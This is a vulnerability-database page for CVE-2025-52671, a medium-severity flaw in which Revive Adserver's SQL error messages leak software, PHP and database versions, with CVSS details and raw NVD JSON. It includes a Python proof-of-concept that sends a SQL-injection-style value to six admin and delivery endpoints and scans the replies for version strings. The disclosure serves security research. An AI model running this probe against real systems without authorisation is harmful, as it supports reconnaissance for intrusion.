Security Vulnerability Report
中文
CVE-2025-52671 CVSS 4.3 MEDIUM

CVE-2025-52671

Published: 2025-11-20 20:16:23
Last Modified: 2025-12-02 20:05:41

Description

Debug information disclosure in the SQL error message to in Revive Adserver 5.5.2 and 6.0.1 and earlier versions causes non-admin users to acquire information about the software, PHP and database versions currently in use.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:revive-adserver:revive_adserver:6.0.0:-:*:*:*:*:*:* - VULNERABLE
Revive Adserver < 5.5.2
Revive Adserver 5.5.2
Revive Adserver < 6.0.1
Revive Adserver 6.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-52671 PoC - Revive Adserver SQL Error Information Disclosure import requests import re import sys target = input("Enter target URL (e.g., http://target.com/revive-adserver/): ").rstrip('/') # Common endpoints that may trigger SQL errors endpoints = [ '/www/delivery/axelscript.php', '/www/delivery/ck.php', '/www/admin/advertiser-edit.php', '/www/admin/campaign-edit.php', '/www/admin/banner-edit.php', '/www/admin/zone-edit.php' ] print(f"[*] Testing CVE-2025-52671 on {target}") print(f"[*] Target: Revive Adserver Information Disclosure via SQL Error Messages") print("-" * 60) for endpoint in endpoints: url = target + endpoint try: # Try to trigger SQL error with malformed input params = {'id': "' OR '1'='1"} response = requests.get(url, params=params, timeout=10, verify=False) # Check for version information in response patterns = [ r'(MySQL|MySQLi|PostgreSQL|SQLite)', r'(PHP/[0-9]+\.[0-9]+\.[0-9]+)', r'(Version [0-9]+\.[0-9]+\.[0-9]+)', r'(mysql_|pgsql_|sqlite_)', r'SQL.*(error|Error|ERROR)', r'(server version|MySQL server)', r'(phpversion|mysql_get_server_info)' ] for pattern in patterns: matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: print(f"[!] Potential Information Disclosure found at {endpoint}") print(f" Pattern matched: {pattern}") print(f" Matched content: {matches[:3]}") print() break except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("-" * 60) print("[*] Scan complete") print("[*] If information disclosure was found, the error messages may reveal:") print(" - Database type and version") print(" - PHP version") print(" - Server configuration") print(" - File paths and system structure")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52671", "sourceIdentifier": "[email protected]", "published": "2025-11-20T20:16:23.410", "lastModified": "2025-12-02T20:05:41.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Debug information disclosure in the SQL error message to in Revive Adserver 5.5.2 and 6.0.1 and earlier versions causes non-admin users to acquire information about the software, PHP and database versions currently in use."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:6.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "9EF49CB0-886F-4AB3-8CBF-B7A8A7276DD9"}]}]}], "references": [{"url": "https://hackerone.com/reports/3403450", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://hackerone.com/reports/3403450", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}